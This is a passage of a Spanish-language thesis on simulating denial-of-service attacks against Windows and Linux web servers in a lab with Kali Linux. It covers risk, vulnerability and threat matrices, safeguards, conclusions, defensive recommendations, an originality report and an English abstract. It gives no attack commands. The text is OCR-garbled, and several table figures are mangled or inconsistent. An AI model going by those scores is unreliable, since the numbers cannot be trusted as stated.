Tabla 18 Amenaza ataques mediante herramienta Kali Linux de hackeo

Fuente: Elaboracion del autor
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Graficas de estimacion
Combinando probabilidad e impacto nos da la siguiente grafica segun la valoracion
dada a los riesgos.

Leyenda de Grafica

inikiar el proyecto sin la aplicacion de medidas preventivas urgentes y sin

. Riesgo muy grave. Requiere medidas preventivas urgentes. Mo se debe
acotar sdlidamente el riesgo.

Riesgo importante. Medidas preventivas obligatorias. Se deben controlar
fuertemente l1as variables de fiesgo durante el proyecto.

Riesgo apreciable. Estudiar econdmicaments ai es posible infroducir medidas
preventivas para reducir el nivel de riesgo. Si no fuera posible, mantener las
variables controladas.

Riesgo marginal. Se vigilard aunque no requiers medidas preventivas de
partida.

Tabla 19 Leyenda Grafica
Fuente: Elaboracion del autor

Valoracion
MATRIZ DE RIESGOS
Probabilidad | Gravedad | Valor del | Nivel de
RIESGO {Ocurrencia) | (Impacto) | Riesgo Riesgo

e las ct?n?‘igl.lracmnes por defectos son 5 4 20 |Muy grave
vulnerada facilmente

. Conﬂgml'auon por defecto del puerto 4 9 8 |Apreciable
web del servidor

e Limitacion de recurrencia de peticiones 3 3 9  |lmportante
e Kali Lmulx es una hlelrramlmta de facil 4 3 12 |importante
uso que permite vulnerabilidad los firewall

e (Caida de lared 2 1 2 Marginal
e (Caida de Servidores 5 4 20 |Muy grave
e Tnadecuado o no control de acceso. 2 2 4 |Apreciable
e No disponibilidad de Servicio. 5 5 25 |Muy grave

Tabla 20 Matriz de Riesgo
Fuente: Elaboracion del autor
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Resultados

RESULTADOS
GRAVEDAD (IMPACTO)
MUY BAJO| BAJO
1 2
MUY ALTA | 5
ALTA | 4 8
PROBABILIDAD
MEDIA |3
BaJA |2 | 2 4
MUY BAJA | 1

Tabla 21 Resultados Gravedad Impacto
Fuente: Elaboracion del autor

Resultado de Riesgos
30
25
20

10

5 4 3 - 2 5 2 5

Valor de Riesgos

Figura 56 Resultado de Riesgos
Fuente: Elaboracion del autor
Combinando probabilidad e impacto nos da la siguiente grafica segun la valoracion

dada a las vulnerabilidades.

90



Leyenda de la grafica

debe iniciar el proyecto sin la aplicacion de medidas preventivas urgentes y

- "Yulnerabilidad muy grave. Fequiere medidas preventivas urgentes. Mo se
sin acotar sélidamente &l riesgo.

Vulnerabilidad importante. Medidas preventivas obligatorias. Se deben
confrolar fuertemente llas variables de riesgo durante el proyecto.

Vulnerabilidad apreciable. Estudiar econdmicamente ai es posible introducir
medidas preventivas para reducir el nivel de riesgo. Sino fuera posible,
mantenar [as variables controladas.

Wulnerabilidad marginal Se vigilara aungue no requisre medidas preventivas
de partida.

Tabla 22 Leyenda de la grafica
Fuente: Elaboracién del autor

Valoracion
MATRIZ DE VULNERABILIDAD
Probabilidad | Gravedad | Valor de | Mivel dela
VULNERABILIDAD {Ocurrencia) | (Impacto) la vulnerabilid
vulnerabili ad

e Falta de aphlcalam-'as para contrarrestar 4 3 12 lim o
atagues como antrvous.
. ]:_:alta de implementacion de politicas de 4 3 12 lim .
seguridad
e Falta de implementacion de politicas de 1 3 12 lim o
firewall
e Falta Encriptacion de puertos. 1 1 1 Marginal

Tabla 23 Matriz de Vulnerabilidad
Fuente: Elaboracion del autor
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Resultados

RESULTADOS
GRAVEDAD (IMPACTO)
MUY BAJO

1
MUY ALTA | 5
ALTA | 4

PROBABILIDAD

MEDIA |3
BAJA |2
MUY BAJA | 1 1

Tabla 24 Resultados de Vulnerabilidad
Fuente: Elaboracion del autor

Resultado de Vulnerabilidades
14
12 -
10

(=]

L= N O R <4

4 4 4 1

Valor de Vulnerabilidades

Figura 57 Resultado de Vulnerabilidad
Fuente: Elaboracion del autor

92



Combinando probabilidad e impacto nos da la siguiente grafica segun la valoracién
dada a las amenazas.

Leyenda de la grafica

iniciar el proyecto sin la aplicacion de medidas preventivas urgentes y sin

- Amenaza muy grave. Requizre medidas preventivas urgentes. Mo se debe
gcotar sélidamente el riesgo.

Amenaza importante. Medidas preventivas cbligatorias. Se deben controlar
fuertemente llas variables de riesgo durante el proyecto.

Amenaza apreciable. Estudiar econdmicaments ai es posible introducir
medidas preventivas para reducir el nivel de riesgo. Sino fusra posible,
mantener [as variables controladas.

Amenaza marginal. Se vigilard aungue no requisre medidas preventivas de
partida.

Tabla 25 Leyenda de la Grafica
Fuente: Elaboracién del autor

Valoracion
MATRIZ DE AMENAZAS
Probabilidad | Gravedad | Valor del | MNivel dela
AMENAZAS {Ocurrencia) | (Impacto) la amenaza
amenaza

+ Hacheo realizado de facil manera 5 4 20
+  DPosible Utilizacion de sniffer para . E 25
Crackeo de informacion
+ Ausencia de operador de servidores 4 3 12
*+  Atraques mediante herramienta Kali . E 25

Limmx de hackeo

Tabla 26 Matriz de amenazas
Fuente: Elaboracion del autor
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Resultados

RESULTADOS

GRAVEDAD (IMPACTO)

MUY BAJD
1

MUY ALTA [ 5

PROBABILIDAD
MEDIA 3

BAJA
MUY BAJA

TN

Tabla 27 Resultados de Amenazas
Fuente: Elaboracion del autor

Resultado amenazas

30
25
20
15

10

L

3 -

L

valor del amenaza

Figura 58 Resultado de amenazas
Fuente: Elaboracion del autor
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Salvaguardas
Las salvaguardias son una medida para contrarrestar la presencia de un dafio o posible
dafio a un determinado activo de la organizacion.
En la presente investigacion se procedera a contrarrestar los dafios Muy Graves.
Propuestas salvaguardas para contrarrestar este tipo de riesgos que tendran los

servidores.

Cambiar las configuraciones de firewall segiin normas o técnicas por ejemplo mejora continua.

Descripcion Tipo
Las configuraciones por defecto son [M] Minimizacién de Impacto de Riesgo
vulneradas de f&cil manera. [PR] Preventiva

Tabla 28 Salvaguardas segin normas y técnicas
Fuente: Elaboracion del autor

Proteger mediante Antivirus, Cortafuegos, Politicas de Firewall implementando los mismos.

Descripcion Tipo

Se minimizaria el riesgo de la caida de los [M] Minimizacién de Impacto de Riesgo
Servidores y por ende evitaria la no disponibilidad [PR] Preventiva
de los servicios.

Tabla 29 Salvaguardia de proteccion
Fuente: Elaboracion del autor

Monitorizacion con personal capacitado.

Descripcion Tipo

Evitar todo tipo de inconvenientes en [M] Minimizacién de Impacto de Riesgo
servidores ataques, hackeos, perdida o divulgacion [PR] Preventiva
de informacién etc. [AD]administrativa

[CR] Correctiva

Tabla 30 Salvaguardia de Recursos Humanos
Fuente: Elaboracion del autor
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4.2.Conclusiones

Durante el desarrollo de la presente investigacion evidenciamos que los ataques de
Denegacidn de servicios, provocados y/o ocasionados por diferentes tipos de escenarios
pueden llegar a tener efectos muy grandes para las organizaciones una de ellas la caida

total del o los sistemas:
e Se demostro un alto grado de vulnerabilidad al no tener herramientas y politicas
de seguridad correctas como por ejemplo objetivos de calidad o mejora
continua, por lo tanto, Kali Linux vulnerd con facilidad los servidores y

sistemas operativos.

e Se pudo demostrar que, debido a configuraciones inadecuadas, el servicio web
http es vulnerable en un 80 % con lo que expone elementos del servidor web a
posibles ataques (DoS, rastreo de puertos). Las Configuraciones por defecto
del firewall no impidié que el atacante no vulnere los servicios de los

servidores.

e Diariamente se liberan nuevas amenazas y no siempre pueden estar embebidas
en el software, sino también mediante ingenieria social, correo electronico y

paginas web.

e Labase tedrica fue muy importante y sirvié como un manual para poder aplicar

los diferentes tipos de ataques a los servicios.

e Con el resultado de analisis planteado sobre el funcionamiento de herramientas
para hackeo podemos observar que existen diferentes vulnerabilidades en este

caso referidos a los servidores web.
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Al analizar y manipular las herramientas de hackeo, se comprob6 y mejoro
toda la informacion y conocimiento acerca de ataques a servidores web,
también observamos como estos afectan a los servicios tanto de hardware como

software de los servidores en linea.

El mayor riesgo encontrado fue directamente en los servicios que fueron
detenidos, es decir todos recursos, procesos y tareas, ya no estuvieron

disponibles.

Se pudo observar que los riesgos son altamente peligrosos para la informacién
de los servidores ya que las politicas de seguridad no pudieron detectar los

ataques realizados.

El ataque DoS provoco un riesgo de alto impacto, afectando la credibilidad de

los servidores, a esto podemos agregar una pérdida econémica muy grande.

e Se demostrd un alto grado de riesgo 100% en riesgo de “no disponibilidad

de servicio” al no tener acceso a los servidores segun analisis de riesgos.
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4.3.Recomendaciones
Podemos nombrar las siguientes recomendaciones, que pueden ser tomadas en cuenta
a corto o largo plazo, dependiendo de las necesidades de acuerdo a cada organizacion.
e Contar con un licenciamiento de antivirus siempre actualizado que nos permita
controlar cualquier tipo de software malicioso o ataque que intente vulnerar a

los servicios web.

e Mantener siempre los navegadores actualizados, algunos parches de
actualizacion incluyen modulos de seguridad para evitar que atacantes puedan

acceder al historial de navegacion.

e Crear politicas en el firewall con los permisos necesarios para los servidores

web.

e Complementar con un sistema para deteccion de intrusos en modo de ataque.

e Constantes mantenimientos en las diferentes configuraciones de los servidores

web para evitar los ataques de denegacion de servicios y otros.

e Contar con personal debidamente capacitado en el area de seguridad de la

informacidn para contrarrestar estos incidentes.

e Monitorizar el mayor tiempo posible los diferentes recursos de los servidores
como son CPU, Memoria RAM, Almacenamiento de esta manera se puede

estar alerta a un posible ataque.

e Laseguridad de la informacion depende siempre de la correcta administracion

y funcionamiento del firewall, el cual debe ser monitoreado por personal

98



capacitado el mismo que notificara ante cualquier intento de ataque a los

directivos de las organizaciones.
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ANEXOS




TESIS Edlson Gonzalez V 1

INFORME DE ORIGINALIDAD

6. 5o, 0s %,

INDICE DE SIMILITUD  FUENTES DE PUBLICACIONES TRABAJOS DEL
INTERNET ESTUDIANTE

FUENTES PRIMARIAS

. www1. monograflas com <1 .
Fuente de Internet A)

www.recercat.cat
<1 %

Fuente de Internet

infoleg.mecon.gov.ar <1 ”

Fuente de Internet

luismmm.blogspot.com <1 %

Fuente de Internet

. estudiobandin.blogspot.com.ar <1 %

Fuente de Internet

osabuena.com
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Berlin

Trabajo del estudiante
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Trabajo del estudiante

funlam.edu.co
Fuente de Internet

www.usm.edu.ec

Fuente de Internet

Submitted to Universidad Andina del Cusco
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ABSTRACT
Author: Edison Gonzalez Gonzalez
Tutor: Ing. Miguel Andrade Lopez

The main objective of this research work is the analysis and simulation of Denial of Service

(DoS) attacks on Windows and Linux Web Servers.

For this, the Windows Server 2012 operating system was used in Windows and for Linux

Ubuntu Server 18.04.

The research covers highlights on the application of Open Source tools such as: Virtual

BOX, Kali Linux to demonstrate vulnerabilities on servers in both Windows and Linux.

It started with an introduction to data networks, servers and web services, in which
fundamental network concepts are reviewed, and all those aspects involved in a network
and the internet and this paper in particular.Subsequently, the Denial of Service (DoS)

attacks were presented, and a brief review of them and the tools to perform the attack.

Finally, it was shown the Analytical and Explanatory section, where a Denial of Services
(DoS) attack on WEB Servers was simulated, to understand how an attacked system
behaves and how the Services are affected, using the tools mentioned, to provide responses
on how to counteract this type of attack, with the recommendation of applications,

firewalls, patches which would avoid the materialization of the threats detected.

KEYWORDS: SERVERS, NETWORKS, DOS, ATTACKS, COMMUNICATIONS.
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